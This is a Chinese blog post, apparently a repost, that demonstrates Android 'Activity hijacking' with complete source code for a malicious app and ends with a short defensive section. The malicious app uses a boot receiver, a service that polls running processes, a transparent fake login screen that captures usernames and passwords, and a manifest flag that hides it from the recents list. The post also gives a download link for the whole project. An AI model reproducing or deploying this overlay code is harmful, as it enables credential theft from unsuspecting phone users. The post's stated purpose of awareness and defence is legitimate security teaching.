首页 技术 正文
技术 2022年11月16日
0 收藏 546 点赞 4,363 浏览 15985 个字

原文地址:Activity劫持实例与防护手段 作者:cjxqhhh

(本文只用于学习技术,提高大家警觉,切勿用于非法用途!)

 

什么叫Activity劫持

 

这里举一个例子。用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用

界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,接下来会发生什么就可想而知了。

实例

 

Activity劫持的危害是非常大的,它的具体实现和一些细节,我将会用一个完整的实例说明:

首先,我们在Android Studio中新建一个工程,项目结构如下:

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android=”http://schemas.android.com/apk/res/android”
  2. xmlns:tools=”http://schemas.android.com/tools” android:layout_width=”match_parent”
  3. android:layout_height=”match_parent” >
  4. <TextView
  5. android:layout_width=”match_parent”
  6. android:layout_height=”wrap_content”
  7. android:text=”Normal Activity”
  8. android:gravity=”center_horizontal”
  9. android:padding=”10dp”
  10. android:background=”#ffffff”/>
  11. <LinearLayout
  12. android:id=”@+id/Layout1″
  13. android:layout_width=”wrap_content”
  14. android:layout_height=”wrap_content”
  15. android:layout_centerHorizontal=”true”
  16. android:layout_marginTop=”80dp”
  17. android:orientation=”horizontal”>
  18. <TextView
  19. android:text=”UserName”
  20. android:layout_width=”wrap_content”
  21. android:layout_height=”wrap_content”
  22. android:textColor=”#000000″
  23. android:textSize=”20dp” />
  24. <EditText
  25. android:id=”@+id/UserNameEdit”
  26. android:layout_width=”100dp”
  27. android:layout_height=”wrap_content” />
  28. </LinearLayout>
  29. <LinearLayout
  30. android:id=”@+id/Layout2″
  31. android:layout_width=”wrap_content”
  32. android:layout_height=”wrap_content”
  33. android:layout_centerHorizontal=”true”
  34. android:layout_marginTop=”50dp”
  35. android:orientation=”horizontal”
  36. android:layout_below=”@id/Layout1″>
  37. <TextView
  38. android:text=”Password”
  39. android:layout_width=”wrap_content”
  40. android:layout_height=”wrap_content”
  41. android:textColor=”#000000″
  42. android:textSize=”20dp” />
  43. <EditText
  44. android:id=”@+id/PasswordEdit”
  45. android:layout_width=”100dp”
  46. android:layout_height=”wrap_content” />
  47. </LinearLayout>
  48. <Button
  49. android:id=”@+id/LoginButton”
  50. android:layout_width=”wrap_content”
  51. android:layout_height=”wrap_content”
  52. android:layout_below=”@id/Layout2″
  53. android:layout_marginTop=”5dp”
  54. android:layout_centerHorizontal=”true”
  55. android:text=”Login”/>
  56. </RelativeLayout>

activity_second.xml的内容:只是一个TextView控件,显示”Second Activity”而已,就不贴代码了。

MainActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.os.Bundle;
  5. import android.view.View;
  6. import android.widget.Button;
  7. import android.widget.EditText;
  8. //一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity
  9. //只是为了演示正常的Activity而已,无实际功能
  10. public class MainActivity extends Activity {
  11. Button login = null;
  12. EditText userName = null;
  13. EditText password = null;
  14. @Override
  15. protected void onCreate(Bundle savedInstanceState) {
  16. super.onCreate(savedInstanceState);
  17. setContentView(R.layout.activity_main);
  18. login = (Button)findViewById(R.id.LoginButton);
  19. userName = (EditText)findViewById(R.id.UserNameEdit);
  20. password = (EditText)findViewById(R.id.PasswordEdit);
  21. login.setOnClickListener(new View.OnClickListener() {
  22. @Override
  23. public void onClick(View view) {
  24. Intent intent = new Intent(MainActivity.this, SecondActivity.class);
  25. //启动SecondActivity
  26. startActivity(intent);
  27. }
  28. });
  29. }
  30. }

SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。
AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。

接下来是我们的恶意软件,再新建一个工程,项目结构如下:

activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android=”http://schemas.android.com/apk/res/android”
  2. xmlns:tools=”http://schemas.android.com/tools” android:layout_width=”match_parent”
  3. android:layout_height=”match_parent” >
  4. <TextView
  5. android:layout_width=”match_parent”
  6. android:layout_height=”wrap_content”
  7. android:text=”Normal Activity”
  8. android:gravity=”center_horizontal”
  9. android:padding=”10dp”
  10. android:background=”#ffffff”
  11. android:visibility=”invisible”/>
  12. <LinearLayout
  13. android:id=”@+id/Layout1″
  14. android:layout_width=”wrap_content”
  15. android:layout_height=”wrap_content”
  16. android:layout_centerHorizontal=”true”
  17. android:layout_marginTop=”80dp”
  18. android:orientation=”horizontal”>
  19. <TextView
  20. android:text=”UserName”
  21. android:layout_width=”wrap_content”
  22. android:layout_height=”wrap_content”
  23. android:textColor=”#000000″
  24. android:textSize=”20dp”
  25. android:visibility=”invisible”/>
  26. <EditText
  27. android:id=”@+id/UserNameEdit”
  28. android:layout_width=”100dp”
  29. android:layout_height=”wrap_content”
  30. android:visibility=”invisible”/>
  31. </LinearLayout>
  32. <LinearLayout
  33. android:id=”@+id/Layout2″
  34. android:layout_width=”wrap_content”
  35. android:layout_height=”wrap_content”
  36. android:layout_centerHorizontal=”true”
  37. android:layout_marginTop=”50dp”
  38. android:orientation=”horizontal”
  39. android:layout_below=”@id/Layout1″>
  40. <TextView
  41. android:text=”Password”
  42. android:layout_width=”wrap_content”
  43. android:layout_height=”wrap_content”
  44. android:textColor=”#000000″
  45. android:textSize=”20dp”
  46. android:visibility=”invisible”/>
  47. <EditText
  48. android:id=”@+id/PasswordEdit”
  49. android:layout_width=”100dp”
  50. android:layout_height=”wrap_content”
  51. android:visibility=”invisible”/>
  52. </LinearLayout>
  53. <Button
  54. android:id=”@+id/LoginButton”
  55. android:layout_width=”wrap_content”
  56. android:layout_height=”wrap_content”
  57. android:layout_below=”@id/Layout2″
  58. android:layout_marginTop=”5dp”
  59. android:layout_centerHorizontal=”true”
  60. android:text=”Login”
  61. android:visibility=”invisible”/>
  62. </RelativeLayout>

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <?xml version=”1.0″ encoding=”utf-8″?>
  2. <LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android”
  3. android:orientation=”vertical” android:layout_width=”match_parent”
  4. android:layout_height=”match_parent”>
  5. <TextView
  6. android:layout_width=”wrap_content”
  7. android:layout_height=”wrap_content”
  8. android:text=”Start”
  9. android:textSize=”50dp”/>
  10. <Button
  11. android:id=”@+id/StartServiceButton”
  12. android:layout_width=”wrap_content”
  13. android:layout_height=”wrap_content”
  14. android:text=”StartService”
  15. android:padding=”20dp”
  16. android:layout_gravity=”center_horizontal”/>
  17. </LinearLayout>

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <?xml version=”1.0″ encoding=”utf-8″?>
  2. <LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android”
  3. android:orientation=”vertical” android:layout_width=”match_parent”
  4. android:layout_height=”match_parent”>
  5. <TextView
  6. android:layout_width=”wrap_content”
  7. android:layout_height=”wrap_content”
  8. android:text=”Start”
  9. android:textSize=”50dp”/>
  10. <Button
  11. android:id=”@+id/StartServiceButton”
  12. android:layout_width=”wrap_content”
  13. android:layout_height=”wrap_content”
  14. android:text=”StartService”
  15. android:padding=”20dp”
  16. android:layout_gravity=”center_horizontal”/>
  17. </LinearLayout>

AutoStartReceiver.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.content.BroadcastReceiver;
  3. import android.content.Context;
  4. import android.content.Intent;
  5. //用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED”
  6. public class AutoStartReceiver extends BroadcastReceiver {
  7. @Override
  8. public void onReceive(Context context, Intent intent) {
  9. if (intent.getAction().equals(“android.intent.action.BOOT_COMPLETED”)) {
  10. Intent _intent = new Intent(context, HijackService.class);
  11. //启动HijackService
  12. context.startService(_intent);
  13. }
  14. }
  15. }

EvilApplication.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Application;
  3. import java.util.ArrayList;
  4. import java.util.List;
  5. public class EvilApplication extends Application{
  6. //存放已经被劫持的程序
  7. List<String> hijackedList = new ArrayList<String>();
  8. public boolean hasProgressBeHijacked(String processName) {
  9. return hijackedList.contains(processName);
  10. }
  11. public void addHijacked(String processName) {
  12. hijackedList.add(processName);
  13. }
  14. public void clearHijacked() {
  15. hijackedList.clear();
  16. }
  17. }

FakeMainActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Activity;
  3. import android.os.Bundle;
  4. import android.view.View;
  5. import android.widget.Button;
  6. import android.widget.EditText;
  7. import android.widget.Toast;
  8. import java.util.Timer;
  9. import java.util.TimerTask;
  10. public class FakeMainActivity extends Activity {
  11. Button login = null;
  12. EditText userName = null;
  13. EditText password = null;
  14. @Override
  15. protected void onCreate(Bundle savedInstanceState) {
  16. super.onCreate(savedInstanceState);
  17. setContentView(R.layout.activity_fakemain);
  18. login = (Button)findViewById(R.id.LoginButton);
  19. userName = (EditText)findViewById(R.id.UserNameEdit);
  20. password = (EditText)findViewById(R.id.PasswordEdit);
  21. //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity
  22. //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来
  23. //我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷
  24. //无奈只能用这个本方法,如果大家有更好的办法,请赐教
  25. Timer timer = new Timer();
  26. TimerTask task = new TimerTask() {
  27. @Override
  28. public void run() {
  29. runOnUiThread(new Runnable(){
  30. @Override
  31. public void run() {
  32. userName.setVisibility(View.VISIBLE);
  33. password.setVisibility(View.VISIBLE);
  34. login.setVisibility(View.VISIBLE);
  35. }});
  36. }
  37. };
  38. timer.schedule(task, 1000);
  39. login.setOnClickListener(new View.OnClickListener() {
  40. @Override
  41. public void onClick(View view) {
  42. //这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己
  43. Toast.makeText(getApplicationContext(), userName.getText().toString() + ” / ” + password.getText().toString(), Toast.LENGTH_LONG).show();
  44. //为了伪造的Activity弹出时不那么明显
  45. userName.setVisibility(View.INVISIBLE);
  46. password.setVisibility(View.INVISIBLE);
  47. login.setVisibility(View.INVISIBLE);
  48. finish();
  49. }
  50. });
  51. }
  52. }

HijackService.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.ActivityManager;
  3. import android.app.Service;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.os.Handler;
  7. import android.os.IBinder;
  8. import android.util.Log;
  9. import java.util.HashMap;
  10. import java.util.List;
  11. public class HijackService extends Service {
  12. //targetMap用于存放我们的目标程序
  13. HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
  14. Handler handler = new Handler();
  15. boolean isStart = false;
  16. //我们新建一个Runnable对象,每隔200ms进行一次搜索
  17. Runnable searchTarget = new Runnable() {
  18. @Override
  19. public void run() {
  20. //得到ActivityManager
  21. ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
  22. //通过ActivityManager将当前正在运行的进程存入processInfo中
  23. List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
  24. Log.w(“恶意软件”, “遍历进程”);
  25. //遍历processInfo中的进程信息,看是否有我们的目标
  26. for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
  27. //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
  28. if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
  29. if (targetMap.containsKey(_processInfo.processName)) {
  30. // 调用hijack方法进行劫持
  31. hijack(_processInfo.processName);
  32. } else {
  33. Log.w(“进程”, _processInfo.processName);
  34. }
  35. }
  36. }
  37. handler.postDelayed(searchTarget, 200);
  38. }
  39. };
  40. //进行Activity劫持的函数
  41. private void hijack(String processName) {
  42. //这里判断我们的目标程序是否已经被劫持过了
  43. if (((EvilApplication) getApplication())
  44. .hasProgressBeHijacked(processName) == false) {
  45. Log.w(“恶意软件”, “开始劫持”+processName);
  46. Intent intent = new Intent(getBaseContext(),
  47. targetMap.get(processName));
  48. //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶
  49. intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  50. //启动我们伪造的Activity
  51. getApplication().startActivity(intent);
  52. //将目标程序加入到已劫持列表中
  53. ((EvilApplication) getApplication()).addHijacked(processName);
  54. Log.w(“恶意软件”, “已经劫持”);
  55. }
  56. }
  57. @Override
  58. public void onStart(Intent intent, int startId) {
  59. super.onStart(intent, startId);
  60. if (!isStart) {
  61. //将我们的目标加入targetMap中
  62. //这里,key为我们的目标进程,value为我们伪造的Activity
  63. targetMap.put(“com.example.hac.normalapp”,
  64. FakeMainActivity.class);
  65. //启动searchTarget
  66. handler.postDelayed(searchTarget, 1000);
  67. isStart = true;
  68. }
  69. }
  70. @Override
  71. public boolean stopService(Intent name) {
  72. isStart = false;
  73. Log.w(“恶意软件”, “停止劫持”);
  74. //清空劫持列表
  75. ((EvilApplication) getApplication()).clearHijacked();
  76. //停止searchTarget
  77. handler.removeCallbacks(searchTarget);
  78. return super.stopService(name);
  79. }
  80. @Override
  81. public IBinder onBind(Intent intent) {
  82. return null;
  83. }
  84. }

StartServiceActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.os.Bundle;
  5. import android.view.View;
  6. import android.widget.Button;
  7. //用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity
  8. public class StartServiceActivity extends Activity {
  9. Button startButton = null;
  10. @Override
  11. public void onCreate(Bundle savedInstanceState) {
  12. super.onCreate(savedInstanceState);
  13. setContentView(R.layout.activity_main);
  14. startButton = (Button)findViewById(R.id.StartServiceButton);
  15. startButton.setOnClickListener(new View.OnClickListener() {
  16. @Override
  17. public void onClick(View view) {
  18. Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);
  19. startService(intent2);
  20. }
  21. });
  22. }
  23. }

colors.xml的内容:

点击(此处)折叠或打开

  1. <?xml version=”1.0″ encoding=”utf-8″?>
  2. <resources>
  3. <color name=”translucent_background”>#00000000</color>>
  4. </resources>

styles.xml的内容:

点击(此处)折叠或打开

  1. <resources>
  2. <!– Base application theme. –>
  3. <style name=”AppTheme” parent=”Theme.AppCompat.Light.DarkActionBar”>
  4. <!– Customize your theme here. –>
  5. </style>
  6. <style name=”translucent” parent=”Theme.AppCompat.Light.DarkActionBar”>
  7. <item name=”android:windowBackground”>@color/translucent_background</item>
  8. <item name=”android:windowIsTranslucent”>true</item>
  9. <item name=”android:windowAnimationStyle”>@android:style/Animation.Translucent</item>
  10. </style>
  11. </resources>

AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent=”true”这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。

点击(此处)折叠或打开

  1. <?xml version=”1.0″ encoding=”utf-8″?>
  2. <manifest xmlns:android=”http://schemas.android.com/apk/res/android”
  3. package=”com.example.hac.evilapp” >
  4. <uses-permission android:name=”android.permission.RECEIVE_BOOT_COMPLETED” />
  5. <application
  6. android:name=”.EvilApplication”
  7. android:allowBackup=”true”
  8. android:icon=”@drawable/ic_launcher”
  9. android:label=”@string/app_name”
  10. android:theme=”@style/AppTheme” >
  11. <activity
  12. android:name=”.StartServiceActivity”
  13. android:label=”@string/app_name”
  14. android:excludeFromRecents=”true”>
  15. <intent-filter>
  16. <action android:name=”android.intent.action.MAIN” />
  17. <category android:name=”android.intent.category.LAUNCHER” />
  18. </intent-filter>
  19. </activity>
  20. <activity android:name=”.FakeMainActivity” android:excludeFromRecents=”true” android:theme=”@style/translucent”/>
  21. <service android:name=”.HijackService” ></service>
  22. <receiver
  23. android:name=”.AutoStartReceiver”
  24. android:enabled=”true”
  25. android:exported=”true” >
  26. <intent-filter>
  27. <action android:name=”android.intent.action.BOOT_COMPLETED” />
  28. </intent-filter>
  29. </receiver>
  30. </application>
  31. </manifest>

项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):
http://pan.baidu.com/s/1eQ8JF5w

防护手段

 

目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。

但是,我们可以适当地在APP中给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名,示例如下:

1、在前面建立的正常Activity的登陆界面(也就是MainActivity)中重写onKeyDown方法和onPause方法,这样一来,当其被覆盖时,就能够弹出警示信息,代码如下:

点击(此处)折叠或打开

  1. @Override
  2. public boolean onKeyDown(int keyCode, KeyEvent event) {
  3. //判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。
  4. if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){
  5. needAlarm = false;
  6. }
  7. return super.onKeyDown(keyCode, event);
  8. }
  9. @Override
  10. protected void onPause() {
  11. //若程序进入后台不是用户自身造成的,则需要弹出警示
  12. if(needAlarm) {
  13. //弹出警示信息
  14. Toast.makeText(getApplicationContext(), “您的登陆界面被覆盖,请确认登陆环境是否安全”, Toast.LENGTH_SHORT).show();
  15. //启动我们的AlarmService,用于给出覆盖了正常Activity的类名
  16. Intent intent = new Intent(this, AlarmService.class);
  17. startService(intent);
  18. }
  19. super.onPause();
  20. }

2、实现AlarmService.java,代码如下:

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;
  2. import android.app.ActivityManager;
  3. import android.app.Service;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.os.Handler;
  7. import android.os.IBinder;
  8. import android.widget.Toast;
  9. public class AlarmService extends Service{
  10. boolean isStart = false;
  11. Handler handler = new Handler();
  12. Runnable alarmRunnable = new Runnable() {
  13. @Override
  14. public void run() {
  15. //得到ActivityManager
  16. ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
  17. //getRunningTasks会返回一个List,List的大小等于传入的参数。
  18. //get(0)可获得List中的第一个元素,即栈顶的task
  19. ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
  20. //得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名
  21. String shortClassName = info.topActivity.getShortClassName(); //类名
  22. //完整类名
  23. //String className = info.topActivity.getClassName();
  24. //包名
  25. //String packageName = info.topActivity.getPackageName();
  26. Toast.makeText(getApplicationContext(), “当前运行的程序为”+shortClassName, Toast.LENGTH_LONG).show();
  27. }
  28. };
  29. @Override
  30. public int onStartCommand(Intent intent, int flag, int startId) {
  31. super.onStartCommand(intent, flag, startId);
  32. if(!isStart) {
  33. isStart = true;
  34. //启动alarmRunnable
  35. handler.postDelayed(alarmRunnable, 1000);
  36. stopSelf();
  37. }
  38. return START_STICKY;
  39. }
  40. @Override
  41. public IBinder onBind(Intent intent) {
  42. return null;
  43. }
  44. }

3、最后在AndroidManifest.xml中注册AlarmService即可。

新手发文,写得不对不好的地方麻烦指出,谢谢。

下一篇: misc
相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:8,946
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,472
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,285
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,101
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,733
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,768